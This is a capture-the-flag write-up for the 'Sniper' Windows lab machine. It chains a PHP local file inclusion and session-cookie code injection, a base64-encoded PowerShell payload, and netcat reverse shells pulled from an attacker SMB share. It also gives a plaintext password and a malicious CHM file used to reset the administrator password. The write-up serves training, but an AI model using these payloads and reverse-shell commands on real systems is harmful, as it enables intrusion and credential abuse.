Sniper

Summary

  • The box is a Windows machine hosting a PHP website which had both a LFI (intended) and a RFI (unintended) vulnerabilities.
  • Down the LFI path, and after working around some blacklisting and hardening, we manage to inject PHP code into the cookies and include them to gain RCE.
  • We gain initial access as NT Authority\iusr. And, as we are taking a look around the web root, we find credentials for a local user called chris in the database settings file.
  • We used PowerShell to gain another reverse shell as that user and started looking for ways to escalate our privileges.
  • In chris’s Downloads folder, we found a file called instructions.chm which mentioned some documentation work to be delivered to the company’s CEO.
  • Also relevant to the same topic, a folder called Docs in the root of the C: drive contained a note for the developer (chris) from the CEO asking for the documentation to be dropped there when done.
  • To exploit the situation, we create a malicious .CHM file using the Nishang PowerShell Suite to execute commands if that file was opened.
  • After placing the file in the Docs folder, a few moments pass and the file gets removed. We verify execution of our payload (resetting the administrator’s password) by logging in and we’re successfully authenticated.

NMAP

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Sniper Co.
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
49667/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2022-08-03T22:05:26
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
|_clock-skew: 6h59m59s

Nmap gives us a few things to check:

  1. HTTP on Port 80
  2. RPC on port 135
  3. SMB on port 445

We start with SMB and RPC since they are a quick check.

SMB Enumeration

we check the usual null, anonymous and guest authentication with crackmapexec but don’t get much past the OS and the hostname. SMB-Enum

RPC Enumeration

we use enum4linux-ng but don’t get much information here either

enum4linux-ng.py -A sniper
ENUM4LINUX - next generation           
                                                                                                                                                                                                                                    
 ==========================  
|    Target Information    |                                                                                                                                                                                                        
 ==========================                              
[*] Target ........... sniper                            
[*] Username ......... ''                                                                                                                                                                                                           
[*] Random Username .. 'stnvbvxv'                                                                                 
[*] Password ......... ''                                                                                                                                                                                                           
[*] Timeout .......... 5 second(s)                       
                                                                                                                  
 ==============================                    
|    Service Scan on sniper    |                                                                                  
 ==============================                                                                                                                                                                                                     
[*] Checking LDAP                                                                                                                                                                     
[-] Could not connect to LDAP on 389/tcp: timed out                                                                               
[*] Checking LDAPS                                                                                                                
[-] Could not connect to LDAPS on 636/tcp: timed out     
[*] Checking SMB                                                                                                  
[+] SMB is accessible on 445/tcp                       
[*] Checking SMB over NetBIOS                         
[+] SMB over NetBIOS is accessible on 139/tcp                                                                                     
                                                                                                                  
 ==============================================          
|    NetBIOS Names and Workgroup for sniper    |                 
 ==============================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out                                                                                  
                                                                                                                                                        
 ===================================                                                                              
|    SMB Dialect Check on sniper    |                                                                                                                   
 ===================================                                                                                                                    
[*] Trying on 445/tcp                                                                                             
[+] Supported dialects and settings:                                                                              
SMB 1.0: false                                                                                                                                                                        
SMB 2.02: true                                                                                                                    
SMB 2.1: true                                                                                                                     
SMB 3.0: true                                                                                                                                                                         
SMB1 only: false                                         
Preferred dialect: SMB 3.0                            
SMB signing required: false                            
                                                                                                                  
 ===================================                                                                                                                                                  
|    RPC Session Check on sniper    |                    
 ===================================                                                                              
[*] Check for null session                                                                                        
[-] Could not establish null session: STATUS_ACCESS_DENIED                                                                                              
[*] Check for random user session                                                                                                 
[-] Could not establish random user session: STATUS_INVALID_PARAMETER                                                                                   
[-] Sessions failed, neither null nor user sessions were possible                                                                                       
                                                                                                                                                        
 =====================================================           
|    Domain Information via SMB session for sniper    |                                                                                                                               
 =====================================================                      
[*] Enumerating via unauthenticated SMB session on 445/tcp                                                                                              
[+] Found domain information via SMB                                                                                                                                                  
NetBIOS computer name: SNIPER                                                                                                                                                         
NetBIOS domain name: ''                                                     
DNS domain: Sniper                                                          
FQDN: Sniper                                                                
                                                                                                                  
 =========================================                                                                                                              
|    OS Information via RPC for sniper    |                                                
 =========================================                                                                        
[*] Enumerating via unauthenticated SMB session on 445/tcp                                  
[+] Found OS information via SMB                                            
[*] Enumerating via 'srvinfo'                                               
[-] Skipping 'srvinfo' run, null or user session required                                                                                                                             
[+] After merging OS information we have the following result:                                                    
OS: Windows 10, Windows Server 2019, Windows Server 2016                                   
OS version: '10.0'                                                                                                
OS release: '1809'                                                                         
OS build: '17763'                                                                          
Native OS: not supported                                                                                          
Native LAN manager: not supported                                                                                                                       
Platform id: null                                                                                                 
Server type: null                                                                                                                                       
Server type string: null                                                                                          

[!] Aborting remainder of tests since sessions failed, rerun with valid credentials                               
                                                                                                                  
Completed after 19.76 seconds 

Web Enumeration

On port 80, we find a website website

We get a login and registration form when we click the “User Portal”
login-page

register-page

We run sqlmap on both forms but don’t find any SQL injection :/

Finding a File Inclusion Vulnerability

However, when we go to the services page and check the url for the language in the dropdown menu, we notice something interesting:

spotting-lfi-param

The lang parameter takes a .php file name. This looks like a file inclusion vulnerability.

To verify it, we first try to include a file we’re 100% sure exists.

so we choose a CSS file from the source code of that page.

verifying-lfi

and try including it

lfi-verified

We have verified a Local File Inclusion here.

In order to gain RCE from this, we have a challenge to:

  1. Find a file where we can inject PHP code
  2. Be able to reference it through the vulnerability to get code execution

Targeting Cookies

Cookies are a good place to start because:

  • PHP stores the username inside them & we have the ability to register users
  • Also, In Windows, by default, they are kept in a likely accessible directory "c:\windows\temp"
  • Their file name has a known format: “sess_<PHPSESSID_COOKIE_VALUE>

So we need to:

  1. Be able to write PHP code into the username field in the registration form
  2. Login with that username and get a cookie
  3. Reference that cookie file using the LFI vulnerability we found

Sounds like a lot … and it is a lot XD

User Registration

We do a quick registration attempt to find out the limitations in user creation.

We used:

  • Email: "a@a"
  • Username: "a"
  • Password: "a"

and the registration suceeded!

This user has a special type of security. No one could ever guess creds like these :D :D

After logging in, the page looked like this:

login-success

Before going further, we need to confirm we can reference the cookie on disk.

we can get the cookie from the Firefox developer tools.

getting-cookies

We first try the full path to the cookie: "c:\windows\temp\sess_bbv0f4mgcubtrvp548rvg62uui"

But that doesn’t work and we get an error page

lfi-no-full-path

After many many tries:

  • Normal traversal sequences like ../../
  • Nested ones such as ....// or ....\/
  • Single and Double URL encoding
  • and other techniques..

I found out that I could include the cookie like this:

/windows/temp/sess_bbv0f4mgcubtrvp548rvg62uui

lfi-abs-path-success

That’s because the PHP code is likely:

  • Not accepting any .. sequences
  • Not accepting c: in the request
  • Doesn’t like the path when it’s missing a / or \ in the beggining
  • But is alright with specifying the path without the c: part

We now know that we can include the input of the username field into the HTML.

So we move on to the next step.

Finding the allowed special characters

We’re going to brute force all the special characters at the registration form using Burp and find out what’s allowed and what’s not.

Here are the requests and responses for both the registration and login.

Upon submitting the registration request, the response we got was a 302 redirection to the initial login page

registratio-initial-request

When trying to login, we get a 302 redirect followed by a 200 OK

login-success-redirect

login-success-response

I searched for a way to get all the special characters and found one using python

import string
print (string.punctuation)

special-chars-using-python

we’re going to use those as payloads with Burp Intruder’s Sniper attack type. Sniper :D

registration-brute-1

registration-brute-2

after launching the attack, we notice that we get a 302 response with all requests (32 total) and with a fixed length of 292

registration-brute-3

are ALL special characters allowed?

if true, we would want to verify that.

otherwise, we would get ourselves into a blind, mindless and merciless loop of trial-and-error.

We’re going to do the same brute force attack with the login form to see which ones would log in and -by extension- give us cookies that we can include

login-brute-1

login-brute-2

the results show that there were -in fact- blacklisted characters

" $ & ( - . ; [ \ _

and the allowed ones:

! # % ' ) * + , / : < = > ? @ ] ^ ` { | } ~

this is good! Because:

  • <, > and ? are needed for the tags needed to inject PHP
  • and the backtick can be used for code execution (just like in Bash)

we can craft a payload like this:

<?php echo `whoami` ?>

after logging in, we get the cookie value from the browser and are able to get code execution.

rce-achieved

Stomping the blacklisting with PowerShell

with RCE achieved, we have to find a way to execute a reverse shell with the allowed characters we have.

We have a couple of challenges here:

  • the dollar sign ($), the semi-colon (;), the brackets ( and [ along with the underscore (_) are blocked, which enable the standard PHP backdoor <?php exec($_REQUEST["cmd"]);?>
  • also, the dot (.) is blocked, so we can’t use our ip address in the payload to download something.
  • And, with the backslash \ blocked as well, it means writing to paths other that the current directory isn’t allowed

when thinking about using PowerShell in execution, I remembered that we could use the encoded switch -E and pass base64-encoded commands.

This feature was initially built to make handling tricky sequences of special characters easier.

Even though the dash (-) is blocked, this trick is still doable with the whitelisted forward slash (/).

This is similar to regular windows commands (ex: ipconfig /all)

we test out a simple PowerShell command get-date

powershell-encoding

notice the encoding type is set to UTF-16LE. That’s what PowerShell expects when using that parameter.

powershell-encoded-execution

After verifying that this method works, and after failing with many reverse shell options, I set up an Impacket SMB Server and hosted netcat (the 64-bit version) and managed to get code execution with this payload:

<?php `powershell /e XABcADEAMAAuADEAMAAuADEANgAuADMAXABzAFwAbgBjADYANAAuAGUAeABlACAALQBlACAAcABvAHcAZQByAHMAaABlAGwAbAAgADEAMAAuADEAMAAuADEANgAuADMAIAA5ADAAMAAwAA==` ?>

which is:

\\10.10.16.3\s\nc64.exe -e powershell 10.10.16.3 9000

thankfully, after all this hard work, we’re rewarded with a reverse shell :D

shell-as-iusr

Finding creds in the database settings file (like always)

The first thing I did after getting the shell, was check the files in the web root.

I found a file called db.php in the C:\inetpub\wwwroot\user directory.

The contents were:

creds-in-db-php

I check the users on the system with net user to get a list of usernames to reuse the password with

local-users

The password works for chris

got-chris

Getting a shell as Chris

The situation is that we want to pivot to the chris user without losing the shell if possible

We can do so from our PowerShell prompt using the below method:

$cred = New-Object System.Management.Automation.PSCredential ("Sniper\chris", (ConvertTo-SecureString "36mEAhz/B8xQ~2VM" -AsPlainText -Force))
Invoke-Command 127.0.0.1 -Credential $Cred -Scriptblock {\\10.10.16.3\s\nc64.exe -e powershell.exe 10.10.16.3 9001} -AsJob

we’re basically creating a credential object for the chris user and invoking a local script as him but as a job to fork into a new process and leave our shell in tact.

shell-as-chris

Neat :)

Privilege Escalation: Scanning the file system

When checking the folders in chris’s user profile, we find a file called intructions.chm in his Downloads folder.

We copy it over to our Kali using the SMB share.

found-chm-file

When we open the file, we get the content below:

chm-file-contents

This is information on the internal operations here:

  • There’s a project of an android app in development
  • That document looks like a draft for its documentation

other than that, according to the text, it seems like the chris guy is really stressed out and thinking about quitting his job because the CEO is overloading him with work.

We don’t know if this information would be handy or not. But we take note of it nonetheless and move on.

In the system root (c:\), we find a folder that sticks out: Docs

Looking at its contents, we see a note.txt file:

docs-and-note-txt

Apart from the CEO bullying the chris guy,
and even leaving him a copy of "php for dummies-trial.pdf" as a further insult XD

  • he is asking about the documentation for the new app (very possibly referring to the android project in development).
  • and wants him to drop it into this folder "c:\Docs" once done.

Sounds like we need to create a malicious .chm file and put it there.

if the CEO happens to be the local administrator and opens the file, we should root the box.

CHM Files for the win

Searching Google, we come accross this blog explaining exactly how to execute a payload using a .chm file using a script from the Nishang script suite.

Following the article, we download the “HTML Help Workshop and Documentation program” and get the script from the Github Repository.

We import the Out-CHM.ps1 file and use it to get a doc.chm file

generating-chm

After copying it to the Docs folder and waiting a few moments, The .chm file gets executed. and the Administrator’s password is changed

We confirm with crackmapexec

got-admin

Pretty fun box :]

Unintended Path: RFI through SMB

When checking the ability of adding network paths as the file inclusion payload, we got PHP code execution:

rfi-php-info

This path is much easier but also teaches way less than the LFI one.

Out of Curiousity: A look at the PHP within the blog directory’s index.php

lfi-hardening

in index.php, we the code looks for .. and C: within the included file path and throws an error if it detects any.

<?php include 'header.html'; ?>
<?php
stream_wrapper_unregister("php");
stream_wrapper_unregister("data"); 
$lang = "blog-en.php";
if(!ISSET($_GET['lang'])) {
    include $lang;
}
else {
    $lang = $_GET['lang'];

    if(stripos($lang, "..") === false && stripos($lang, "C:") === false) { // Hardened 8)
        if(!(include $lang)) {
            include "error.html";
        }
    }
    else {
        include "error.html";
        die();
    } 
}

?>